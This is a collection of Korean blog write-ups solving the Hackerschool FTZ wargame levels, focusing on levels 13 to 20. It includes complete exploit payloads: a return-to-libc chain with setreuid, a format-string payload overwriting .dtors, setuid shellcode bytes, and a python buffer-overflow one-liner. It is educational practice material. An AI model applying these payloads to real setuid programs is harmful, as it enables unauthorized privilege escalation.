FTZ - LEVEL19 를 chaining RTL 기법으로 풀어봤습니다

level19의 소스입니다! gets 함수가 잇으니 cat과 파이프를 이용해야겠군요


gdb를 분석해봤습니다 
<main+0> push ebp 
<main+1> mov ebp , esp
스택프레임을 설정해줬습니다
<main+3> sub esp , 0x28 
esp에 40만큼 빼줫습니다 (버퍼 40 선언)
<main+6> sub esp , 0xc
esp 에서 13만큼 뺴줬습니다 
<main+9> lea eax , [ebp-40]
eax에 ebp-40의 주소값을 넣어줬습니다
<main+12> push eax 
스택에 ebp-40을 넣어줬습니다
<main+13> call 0x80482f4 < gets > 
gets 함수를 호출해줬습니다
<main+18> add esp , 0x10
16만큼의 공간을  사용했습니다
<main+21> sub esp , 0x8
8만큼의 공간을 할당해줬습니다
<main+24> lea eax,[ebp-40] 
eax에 ebp-40의 주소를 넣어줬습니다
<main+27> push eax
eax를 스택에 넣어줬습니다
<main+28> push 0x80484d8
stdin을 넣습니다
<main+33> call 0x80483234 <printf>
printf 함수를 호출해줬습니다
<main+38> add esp , 0x10 
esp에 16을 더해줬습니다

RTL을 하기 위해서 System의 주소와 /bin/sh의 주소를 구해보겠습니다

/bin/sh의 주소도 구해보겠습니다

buf[40]+sfp[4]+&system[4]+exit[4]+/bin/sh[4]

쉘은 떳지만 id는 변하지 않아서 

RTL Chaining 을 이용해서 권한도 설정해줘보겠습니다

0x420d7920 = setreuid
3010 00000c1c 3009가 레벨19의 권한이므로 3010을 권한으로 넣어주겠습니다
setreuid(3010,3010)

그 후 setreuid의 인자값이 두개이므로 pop pop ret 하는 가젯의 주소를 구했습니다.


buf[40] + sfp[4] + &setreuid + &ppr + 3010 + 3010 + &system + dummy + &/bin/sh 
를 넣어줬습니다

정상적으로 level20의 권한을 휙득한 것을 확인할 수 있습니다

'해커스쿨 ftz' 카테고리의 다른 글

FTZ 정리  (0) 2016.05.22
FTZ-LEVEL20  (0) 2016.04.26
FTZ-LEVEL19  (0) 2016.04.25
FTZ-LEVEL18  (0) 2016.04.24
FTZ-LEVEL17  (0) 2016.04.24

LEVEL 1 

/ -perm +4000 -user level2 -ls 2>/dev/null (2번은 에러스크립터를 제외하게 해줌)
을 이용해서 level2권한이 걸린곳을 찾고 
my-pass 명령어를 직접 실행시키는것은 막혀잇으니 level2 권한으로 
shell(커맨드)를 실행시킨후 my-pass를 입력한다 

LEVEL 2

LEVEL1과 마찬가지로 권한을 찾은 후 권한이 걸린 /usr/bin/editor로 이동한다 
vi 편집기를 이용해서 :! < 쉘 명령을 한줄만 입력할 수 있다
:!my-pass 를 쳐서 한다 .


LEVEL 3 

힌트를 열어보면 
-동시에 여러 명령어를 사용하려면?
-문자열 형태로 명령어를 전달하려면 ? 이라는 문구가 들어있다 
마찬가지로 권한을 찾은뒤 권한이 걸려있는 /bin/autodig로 접근한 뒤
쉘에 my-pass를 전달해야 하므로 ./autoding "bin/bash;my-pass"를 이용한다.
동시에 여러 명령어 전달 - argv[1]>>;<<argv[2] 이런식으로 세미콜론사용
문자열 형태로 전달 "argv[1]" 이런 식으로 따옴표 안에 넣어줌

LEVEL 4

백도어를 누군가가 심어놨다고 한다 cat 명령어로 백도어를 열어보니
level5권한이 걸려있는 파일이 /home/level4/tmp/backdoor에 있다고 한다 .          또한 service finger 이다
tmp에 가면 backdoor 파일이 없다 그래서 시스템 함수에 "my-pass"를 전달해줘서
my-pass를 level5의 권한으로 실행시켜줘야한다.
#include <stido.h>
#incldue <stdlib.h>
int main() 
{
  system("my-pass")
  return 0;
}

LEVEL 5 

/tmp 디렉토리에 level5.tmp라는 이름의 임시파일을 생성한다고 한다 
level5를 실행시킨후 tmp에 가서 확인하면 임시 파일이 존재 하지 않는데 
level5.tmp 라는 동일한 이름을 가진 임시 파일을 생성하여서 
내용만 바뀐 level5.tmp를 읽어서 풀 수 있다 

LEVEL 6 

텔넷 창이 뜨기 이전에 hint에서 ctrl+ c를 이용해서 인터럽트(중단)을 시키면 
패스워드를 얻을 수 있다 

LEVEL 7

단순히 창의력 문제였다 
아스키 코드와 모스부호는 2진수라고 생각하고 10진수로 변환한뒤 풀면 된다

LEVEL 8 

용량이 2700인 파일을 찾아야한다
find / -size 2700c 2>/dev/null 을 사용한다 
그 후에 나오는 암호화 된 것을 존 더 리퍼를 이용해서 푼다 

LEVEL 9 

버퍼 오버 플로우가 시작됐다 
buf1 , buf2에 각자 10씩 할당되어있고 buf2의 첫 2자리에 go가 들어가면 
/bin/bash가 열린다 
gdb분석으로 더미값 파악후 풀면된다 

LEVEL 10 

공유 메모리 공부 후 소스를 짜 풀어야한다 

LEVEL 11

포맷스트링버그 기법

print( str ) 에서 취약점이 발생한다 

LEVEL 12 

RTL

gets 함수 에서 취약점 발생 [엔터를 입력받을 때까지 모두 문자열로 인식해서 받아들이므로 버퍼 값을 넘어서도 넣을 수 있음 

LEVEL 13

스택 가드 , 쉘코드(에그쉘)
더미 파악후 스택 가드 값을 맞춰주고 RET에 에그쉘에서 얻은 코드를 넣어줌

LEVEL 14 

buf에 20이 할당 되엇으나 fgets로 45까지 넣어줄 수 잇으므로 오버플로우 발생 가능하다. gdb분석해서 0xdeadbeef 의 위치를 알아낸 후에
gets 함수이고 소스에 권한이 할당되잇으므로 파이프로 묶은뒤 cat을 이용한다

LEVEL 15가 안보인다..?

차후에 추가


LEVEL 16 

shell , printit 함수와 *call 포인터가있음
shell에는 권한이 담겨있고 printit은 필요없음 *call포인터가 printit을 저장할때 
printit의 주소 대신에 shell의 주소를 넣으면 풀림


LEVEL 17

저번 문제와 똑같은데 shell함수가 없어짐 (권한이 없음)
고로 에그쉘로 쉘코드를 구한 후 LEVEL16에 shell함수 주소 대신 
쉘코드의 주소를 구하면 됨 


LEVEL 18

check에 0xdeadbeef 를 넣어주면 쉘코드가 실행됨

하지만 check는 string밑에 존재 하기 때문에 버퍼 오버 플로우가 불가능하다

하지만 소스 상에서 보면 0x08을 넣으면 count--가 된다 

check와 string은 100 104 즉 4의 차이가난다 고로 \x08을 네 번 넣고 
데드 비프를 넣으면 된다 (100지점에 서로 꽉 달라붙어 잇었을 것으로 예상 그렇지 않앗다면 4~8만큼 값을 조절하면서 넣어보자!) // 추가로 공부 필요가 할거같음


LEVEL 19 

GETS 함수를 쓴다 에그쉘을 이용해서 그냥 RET에 넣으면 된다

LEVEL 20 

포맷 스트링 버그 

fgets(bleh,79,stdin); 으로 79의 크기밖에 사용못하게 보안 코딩이 되어있음

printf(bleh) 으로 취약점이 있음 그냥 또 포맷스트링버그를 쓰면됨

'해커스쿨 ftz' 카테고리의 다른 글

FTZ - level19 Chaining RTL  (1) 2016.06.12
FTZ-LEVEL20  (0) 2016.04.26
FTZ-LEVEL19  (0) 2016.04.25
FTZ-LEVEL18  (0) 2016.04.24
FTZ-LEVEL17  (0) 2016.04.24


대망의 마지막 문제의 힌트입니다.


bleh이라는 이름의 크기로 버퍼가 80의 크기로 주어져있네요 
fgets란 함수로 문자열을 입력받지만 79의 크기로 제한을 한 보안 코딩이 되어있네요
버퍼 오버플로우는 사실상 힘들거같습니다(제 짧은 지식상..)


setreuid로 다음 레벨의 권한을 얻을 수 있을거같습니다만 쉘을 실행시키는 명령어가 없으므로 쉘 코드가 필요한것을 알 수 잇겠습니다 


헌데 printf(bleh) 어디서 많이 본 친구 아닌가요 ?
바로 LEVEL11에서 만나본 포맷스트링버그를 이용해보면 될거같습니다

포맷 스트링 버그에 대해서 제가 공부한 지식으로 짧게나마 설명 해 보겠습니다 .
이 문서 저 문서 한번쯤 휙휙 본 지식이기에 출처를 적을 수가 없는점 양해부탁드립니다.

포맷스트링버그는 프로그래머의 작은 실수로 일어나는 해킹기법입니다 
보통 printf 함수를 사용할때는 printf("%d",i); 이런 방법과 저 코드처럼 printf(bleh); 아예 배열을 printf에 넣어버리는 방법이 존재합니다 .

허나 후자의 경우에는 문제점이 존재합니다 bleh안에 "서식문자"가 존재하는 경우에 문제가 발생하게 됩니다 .
bleh을 출력하다가 %d와 같은 서식문자를 만나게되면 출력해야 하는 문자열이 아닌 서식문자로 인식을해버리는 곳에서 문제가 발생하게됩니다.

서식문자를 만나면 메모리의 다음 4바이트를 출력 해버리는 현상이 발생합니다.
만약에 해당 코드에 AAAA%x를 입력하게 되면 뭐가 나오게 될까요 ?

level20은 심볼을 다 날려버려서 gdb도 안열려서 스택을 확실히 알 방법이 제 현재 지식으로는 없네요 ..대충 예상이라도 해봅시다 

print(bleh)          ----낮은 주소 

fgets

setreuid

bleh[80]

dummy

sfb

ret                   ----높은 주소 

AAAA%x를 입력하면 현재 esp위치에서 (print(bleh)) 4바이트 증가한 메모리의 내용을 16진수로 출력하는것인데 
AAAA가 증가햇으니 0x41414141이 출력되야 하는것이 정상이겠지요 

근데 4f가 나오네요 ? bleh[80]이 제대로 읽히지 않은것을 보아하니
print(bleh) bleh[80] 사이에 값들이 추가적으로 존재하는것을 예상할 수 있습니다 

그렇다면 서식문자를 몇개 넣어줘야지 bleh[80]에서 제대로 값을 읽어오나 봐보겠습니다.


서식문자를 네번 써주니 41414141이 제대로 출력되는것을 볼 수 있습니다 .

스택상의 거리는 4개라고 생각할 수 있습니다 .(dummy가 12BYTE라고 예상가능)

서식문자 %n에 대하여 적어보겠습니다.

%n은 다른 서식문자들과는 다른 역할을 합니다
%n이 나오기 전에 출력된 자릿수를 계산한 후 스택의 다음 4바이트에 있는 내용을 주소로 생각하고 그 주소에 계산햇던 자릿수를 입력합니다.

예를 들어서 %10000c%n이라고 표현을 한다면 10000이라는 숫자를 넣을 수 있습니다.
ret 주소에 쉘 코드의 주소를 넣을 수 있다는 뜻입니다 .


여기서 %임의정수c를 이용하면 %n이 인식하는 자릿수를 입맛대로 정할 수 있게됩니다.
근데 저 %임의정수c에도 %c라는 서식문자가 존재하기 때문에 4바이트도 함께 입력을 해주어야합니다 .

이제 쉘코드의 주소를 입력해볼겁니다
헌데 일반적인 시스템에서는 너무 큰 숫자는 지정할 수 없으니 10진수로 바꿔서 입력을 하되 4바이트 (12345678) 를 2바이트씩 (1234/5678)로 나누어서 입력합니다.
ret주소를 구해야 하는데 gdb가 심볼이 날라가서 안열리는군요 ?
그렇다면 LEVEL11에서 적어놨던 .dtors를 이용합시다!

.dtors = main 함수가 끝난 후 실행을 하는 명령이 존재 하는 곳

자 여기에 쉘코드를 덮어 써서 실행을 시키면 될거같습니다 

.dtors주소를 알아보겠습니다!



08049594 네요 여기서 이제 +4 즉 08049598을 하면 ret값입니다!

ret주소에는 08049598에 쉘 주소의 절반(2바이트)를 입력하고 
2바이트가 증가한 0804959a에 쉘 주소의 나머지 절반을 입력해줍니다 . 

내킨김에 쉘 주소도 에그를 이용해서 구해봅시다 




0xbffff2cb가 나왔습니다 .

아까 위해서 설명했던거처럼 쉘코드의 주소를 2바이트씩 나누고 10진수로 바꿔서 입력을 해봅시다 .

bfff / f2cb 

f2cb = 62125

bfff = 49151 

자 그럼 여기까지 구한 정보로만 페이로드를 짜보겠습니다 

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62125c%n%49151c%n 이 되겠네요 

여기서 8x란 쉘코드가 들어갈 ret의 주소가 bleh내에 존재하기 떄문에 esp를 bleh문까지 넘기기 위함이며 굳이 %8x를 쓰는경우는 8바이트를 정확히 출력하기 위하여 입니다 

허나 이대로만 하면 권한을 취득할 수가 없습니다 무엇이 문제냐 하면

아까 %n은 자신이 나오기 전의 모든 자릿수를 계산한다고 드렸습니다 그렇다면 

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x

4 + 4+ 4+ 4 +8 + 8+ 8  = 16 + 24 = 40 

40 바이트를 계산하겠네요 그렇다면 아까 구한 62125에서 40을 빼면 

62085겟네요 

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62085c%n%49151c%n

근데 이렇게 해도 실패합니다 또 뭐가문제냐 하면 

%n이 뒤에 하나 더잇네요 49151 부분에 말이죠 앞에 자릿수를 모두 계산한 값이

아까 40을 뺏던 62805입니다 근데 49151에서 62125를 빼면 음수가 되버리네요 ?

bfff : 49151 에서 앞에 1을 붙이면 1bfff : 114687이 나옵니다 

이렇게 나온114687에서 62125를 빼면 52562가 나오네요 

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62085c%n%52562c%n 최종으로 이렇게 나왔습니다 .

.(대충 값 정리)
dummy | .dtors Address(1) | dummy | .dtors Address(2) | %08x | %08x | %08x |
%shell(1)c | %n | %sheel(2)c | %n


clear했습니다 




수고하셨습니다 이해가 안되시는 점이나 궁금하신점은 질문 주시면 제가 알고잇는 지식이나 직접 알아봐서 알려드리겠습니다

p.s ( AAAA는 제 생각에는 더미값이라 생각되어서 반드시 넣어줘야 한다고 생각하는데 안넣어줘도 된다는 의견이 존재하는데 혹여나 이러한식으로 푸신분이 계시면 페이로드좀 보여주시면 감사하겠습니다 


'해커스쿨 ftz' 카테고리의 다른 글

FTZ - level19 Chaining RTL  (1) 2016.06.12
FTZ 정리  (0) 2016.05.22
FTZ-LEVEL19  (0) 2016.04.25
FTZ-LEVEL18  (0) 2016.04.24
FTZ-LEVEL17  (0) 2016.04.24


저번 난이도를 보고 더 긴 코드를 기대했더니 이게 웬가 엄청 짧은코드다!
근데 권한을 할당하는 소스가 안들어있다.
이번 문제는 바로 권한을 얻어야 하는 문제이다 ! 

먼저 gdb로 풀어서 봐보자!


0x28[40]만큼 할당되어있다 sfp까지 덮는걸 생각해서
44만큼 값을 줘야할거같다.
그럼 대충 공격코드는 44 + 권한을 얻는 setuid코드가 되겠다.
자 여기서 이제 레벨 20의 권한을 얻는 코드를 어떻게 얻느냐 ..
RTL 기법을 써도 권한을 얻는 코드가 없으면 쉘이 따여도 얻어지지않는다 
나는 에그쉘을 이용해서 편하게(?) 진행해보도록하겠다.
[중간에 ROOT 권한 문제로 두시간가량을 소비했다 -_-]

"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"

기존에 이용하던 에그쉘에 해당 코드를 추가해준다


쉘을 따는 주소가 나왔다


LEVEL 20의 권한이 할당되었다.

사실 힌트만 봣을때는 금방 풀줄 알았는데 이것저것 많은 오류가 생겨서 힘들었다..    -_-

'해커스쿨 ftz' 카테고리의 다른 글

FTZ 정리  (0) 2016.05.22
FTZ-LEVEL20  (0) 2016.04.26
FTZ-LEVEL18  (0) 2016.04.24
FTZ-LEVEL17  (0) 2016.04.24
FTZ-LEVEL16  (0) 2016.04.24


이번 힌트는 코드가 무지하게 길더라구요 열자마자 놀랫습니다-_-
당황하지 말고 코드를 차례차례 분석해봅시다 .


변수 선언부부터 천천히 보도록 하겠습니다 
string[100] check x count 이렇게 선언이 되어있네요 .
여기서부터 중요한 부분이 시작됩니다 .
저희는 저러한 코드의 배열 선언 순서때문에 "string"으로는 버퍼 오버플로우를 시켜도 "check" 값 변조를 못한다는겁니다 .
이유는 스택의 구조때문입니다.
string 배열이 먼저쌓이고 check변수가 그 후에 쌓이고 그 후는 x...count 이렇게 쌓이기때문입니다 .
대략적인 스택 구조입니다

count
x
check
string
sfp
ret
이순으로 쌓이기때문입니다 .


그 아래로 while문을 봐보겠습니다
count가 100이상이면 What are you trying to do?라는 문구를 출력합니다
만약 check이 0xdeadbeef면 shellout()함수를 실행시키네요

맨아래 shellout이 있네요 
level19의 권한을 할당해주네요!
그렇다면  check에 0xdeadbeef 를 넣는게 이번 문제의 클리어 방법이겠습니다.


가져온 1Byte 값이 \r ,\n이면 소리(\a)를 내고 종료합니다.
1Byte값이 0x08인 경우 count의 값이 감소하네요
다른 값이 들어오면 count를 증가시키네요 
자 여기서 이제 gdb로 각 변수들의 위치를 찾아봅시다!

ebp-108에 x가 초기화되고
ebp-112에 count가 초기화 되는것을 알 수 있습니다 .


ebp-104에 check가 초기화 되는것을 알 수 있습니다 .


아! 256의 공간이 할당되었습니다! 
자 그렇다면 간단히 스택을 그려봅시다 


        <ebp-112  -----낮은주소
count    
         <ebp-108
x        
         <ebp-104  
check
         <ebp-100
string
         <ebp
sfp
ret                 -----높은주소

자 여기서 check값이 string보다 더 낮은 주소에 위치하고있어서 평소처럼 버포 오버플로우를 사용해서는 check값을 변경시킬 수는 없습니다!
허나 케이스문을 다시 한번 봐보자!

0x08을 넣으면 count--가 된다고 한다 
그렇다면 0x08을 쓰면 string ebp-100에서 낮은주소로 메모리상에서 올라갈 수 있지않을까? 
그렇다면 0x08을 4번사용해서 스택의 영역을 check부분으로 옮기면 될거같네요!


 
level19의 권한을 습득했습니다!
뭔가 좀 복잡하고 gdb분석도 어려웟으나 실제로도 많이 일어나는 취약점이라 하니 
눈여겨셔 공부하시면 좋겠습니다!

'해커스쿨 ftz' 카테고리의 다른 글

FTZ-LEVEL20  (0) 2016.04.26
FTZ-LEVEL19  (0) 2016.04.25
FTZ-LEVEL17  (0) 2016.04.24
FTZ-LEVEL16  (0) 2016.04.24
FTZ-LEVEL15 [gdb로 푸는법]  (0) 2016.04.24


힌트를 봐봅시다! 
아까와 비슷한 소스로 구성되잇는데 이번에는 쉘을 불러주는 함수가 없어졋네요 ?
그래서 저는 그냥 간단하게 제가 직접 call에 들어가는 printit 주소 대신에
쉘코드를 직접 에그쉘로 구하여 꽂아넣어버렸습니다..

main + 3을 보시면 0x38(56)을 할당받았습니다 .

그리고  main+6에서 printit의 주소가 들어가는군요 


printit의 주소를 확인할 수 있습니다 .

자 그러면 printit에 대신에 에그쉘을 이용해서 나온 쉘 주소값을 때려박아주겟습니다!

그럼 총 공격코드는 이렇게되겠죠 ?


쉘 주소값은 각자 에그쉘을 이용하여서 구하셔야합니다! 
level 16을 응용해서 푸니 3분도 안걸리는 너무 간단한 문제였네요!


'해커스쿨 ftz' 카테고리의 다른 글

FTZ-LEVEL19  (0) 2016.04.25
FTZ-LEVEL18  (0) 2016.04.24
FTZ-LEVEL16  (0) 2016.04.24
FTZ-LEVEL15 [gdb로 푸는법]  (0) 2016.04.24
FTZ - LEVEL14  (0) 2016.04.24


call이란 함수포인터에 printit 함수의 주소를 담은 후에 마지막에 call 함수 포인터를 호출해서 printit을 실행하네요! 근데 printit함수에는 필요없는것이 존재하고
shell함수에는 level17의 권한이 주어져있네요!
그렇다면 printit의 주소 대신에 shell의 주소를 넣어줘야겟네요!
또한 fgets로 buf에 값을 넣을 수 있는데 48만큼 넣을 수 있으므로 
crap함수와 call을 덮어 쓸 수 잇겠네요


gdb로 열어봤습니다!

main +3 에서 0x38(56)만큼 확장 되었네요!
또한 main+6 지점에서 *call에 printit 의 주소값인 0x8048500을 넣어버립니다!

그리고 main 36,39 지점을 보시면ebp-16 지점을 읽어와 eax에 저장하고 call을 하는걸 보아하니 ebp-16 지점을 shell함수의 주소로 바꿔주면 되겠네요 


info functions를 쓰면 함수들의 정보가 출력이되서 shell의 주소값을 가져왔습니다.
ebp-16지점이니 buf랑 call함수랑 40이 차이가 나는군요 

그렇다면 여태까지 주어진 정보로 공격코드를 생각해보면
buf(40)만큼의 크기를 쓸데없는것으로 채워주고 shell의 주소를 쓴 후에 파이프를 사용하면 되겠습니다


level17의 권한이 주어진것을 확인할 수 있습니다.

'해커스쿨 ftz' 카테고리의 다른 글

FTZ-LEVEL18  (0) 2016.04.24
FTZ-LEVEL17  (0) 2016.04.24
FTZ-LEVEL15 [gdb로 푸는법]  (0) 2016.04.24
FTZ - LEVEL14  (0) 2016.04.24
FTZ - LEVEL13  (0) 2016.04.23


먼저 평소와 같이 HINT를 봐보자!
여지껏 문제에선 보이지 않던 포인터가 보인다
포인터 변수는 '주소 값'을 가지는 변수이다 CHECK에 들어가는 값은 메모리의 주소 값과 같다고 생각할 수 있다 .

check 포인터 변수에 잇는 값이 가리키는 메모리 주소에 0xdeadbeef를 넣어줘야 한다 . 그러기 위해서는 메모리 주소를 찾아야하는데 

ebp-56의 주소를 eax 레지스터에 넣는걸 보아하니 버퍼의 시작 위치인것을 알 수 있다 .


ebp-16지점에 0xdeadbeef를 넣어주면될거같다 .
그럼 이제 0xdeadbeef의 위치를 찾아봐야할거같다 


main+32지점에 deadbeef가 보인다! 그럼 좀 더 자세히 찾아보자 


main+44지점 0x80483e4가 주소이다!
그렇다면 생각할 수 있는 공격코드는 
쓰레기값으로 40을 채워주고 0xdeadbeef의 주소값을 채워주자

(python -c 'print "A"*40+"\xe4\x83\x04\x08"';cat) | level15./attackme
이렇게 생각해 줄수 잇겠다! 
*이것은 제가 hint를 복사해서 푼 자료입니다 혼동하지 마시길 바랍니다.




'해커스쿨 ftz' 카테고리의 다른 글

FTZ-LEVEL17  (0) 2016.04.24
FTZ-LEVEL16  (0) 2016.04.24
FTZ - LEVEL14  (0) 2016.04.24
FTZ - LEVEL13  (0) 2016.04.23
FTZ - LEVEL12  (0) 2016.04.22


먼저 힌트를 봐봅시다 ! 

int crap; // int형 crap 변수를 선언합니다
int check ; // int형 check 변수를 선언합니다 
char buf[20]; //buf[20]배열을 선언합니다.
fgets(buf, 45, stdin); // 문자열을 45바이트까지 키보드로 입력받은 후에 buf 배열에 저장한다
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("\bin\sh");
}
]
// check 변수에 0xdeadbeef값이 들어있을 경우
3095(level15) 권한을 가지고 /bin/sh를 실행한다!

check변수에 0xdeadbeef 값만 넣어져있다면 해결 할 수있는 문제일거같다
애초에 버퍼 오버플로우가 가능하도록 더 많은 버퍼가 들어갈 수 있게 코드가 되어있다.

스택구조를 대충 파악해보면
char buf[20] dummy1 crap[] dummy2 check[] dummy3 이런식으로 되어있을거같은데 너무 간단하지않나요 ?

gdb로 열어서 구조를 파악해봅시다 


main 3을 보면 0x38 만큼 할당해주네요 [56]
근데 main+39를 보면ebp 에서 16을 뺀 지점에서 0xdeadbeef를 넣는다 라고 되어잇네요 그렇다면 
buf+dummy값을 총 40 넣어준후에 0xdeadbeef만 넣어주면되겟네요 

/bin/sh가 들어 있으므로 따로 값을 넣어 줄 필요는 없을거같습니다 
여기서 인자 전달방식이 level12의 gets와 비슷한 fgets이므로 cat 명령어를 pipe를 이용하여서 전달해 줍시다 

level15의 권한이 주어졋네요!

'해커스쿨 ftz' 카테고리의 다른 글

FTZ-LEVEL16  (0) 2016.04.24
FTZ-LEVEL15 [gdb로 푸는법]  (0) 2016.04.24
FTZ - LEVEL13  (0) 2016.04.23
FTZ - LEVEL12  (0) 2016.04.22
FTZ - LEVEL11  (0) 2016.04.15


LEVEL13의 힌트이다 . 간단히 소스를 설명해보겟다!

long i = 0x1234567; 
long 타입의 변수 i를 선언하구 0x1234567;을 값으로 넣은다.
char buf[1024]; = buf 1024크기를 가진 배열을 선언한다
setreuid(3094, 3094); = level 14의 권한으로 만들어준다


if(argc >1)
strcpy(buf,argv[1]); = argc가 1보다 크면 buf[1024]에 복사해준다
[strcpy = 복사할 때 크기를 체크하지 않는것이 취약점이다!]

if(i != 0x1234567) {
printf(" warnning : Buffer Overflow !!! \n");
kill(0,11);
}
}
level13의 핵심 부분이자 가장 중요한 부분이다!
0x1234567이 아니라면 메시지를 출력하고 kill함수를 실행시켜서 
강제 종료 시켜버린다!
[kill(0,11)에서 0은 프로세스 아이디를 뜻하며 11은 시그널 번호를 말한다 
시그널 번호 11은 프로세스가 다른 메모리 영역을 침범햇다는 뜻을 내포하고있다.]

*자 여기서 I는 "스택 가드"에 해당된다 .
buf와 ret 주소 사이에 스택가드(long i) 를 만들어서 버퍼 오버 플로우를 시킬떄
스택 가드도 같이 변조되는데 그렇다면 프로그램은 스택 가드가 변조됫다는걸 if문으로 비교해서 알게되고 실행을 못시키게 프로그램을 종료 시켜버리는것이다.
자 그럼 이번 level13은 if문이 i를 비교햇을때 변조되지않았다고 판단하게 만든후 권한을 얻어버리는게 핵심인거같다 .




0x418[1048]이 할당되엇다 
아까 소스에서는 buf는 1024였으므로 즉 24만큼의 공간이 더 주어진것이다 .


여기서 0x1234567 즉 I의 값에 4에 공간을 할당한다 .

주어진 24만큼의 공간에서 4를 스택가드에 쓰는군요 

스택 가드가 활성화? 되는 부분이다! 


스택가드가 활성화 하는부분에 브레이크 포인트를 걸어주고 
AAAAAAAA를 넣어줘봅시다!


첫줄에 보시면 0x41414141 0x41414141 이 있군요! 제가 넣은AAAAAAAA가 들어간 모습입니다 


쭉쭉쭉 찾아가시다보면 저기 0x01234567 즉 스택가드의 모습이 보이네요 

저기에 잇는 0x1234567이 변조되면 kill 함수가 실행되어서 프로그램이 종료가 되버리는군요 ? 
그러면 스택가드를 건드리기전까지 쓰레기값을 넣어줘야겟네요 

아까 1048의 공간이 할당되엇고 여기서 4는 스택 가드의 값이지요 ? 
그렇다면 buf[1024] dummy1[?] i[4] dummy2[?] sfp[4] ret[4] 이렇게 스택이 구성되잇네요 
여기서 gdb한걸 읽다보면 dummy값에 12가 주어진것을 알 수 있습니다 .
그렇다면 스택가드 전 까지의 값은 1036이겠군요 
총 1048이 주어졋으니 1036+4 = 1040 dummy2의 값은 8이겟네요 
buf[1024] dummy1[12] i[4] dummy2[8] sfp[4] ret[4]

셸코드의 값을 구해서 (에그를 이용합니다)


따다다닥 넣어주면 끝납니다!

'해커스쿨 ftz' 카테고리의 다른 글

FTZ-LEVEL15 [gdb로 푸는법]  (0) 2016.04.24
FTZ - LEVEL14  (0) 2016.04.24
FTZ - LEVEL12  (0) 2016.04.22
FTZ - LEVEL11  (0) 2016.04.15
FTZ - LEVEL 10  (0) 2016.04.15

+ Recent posts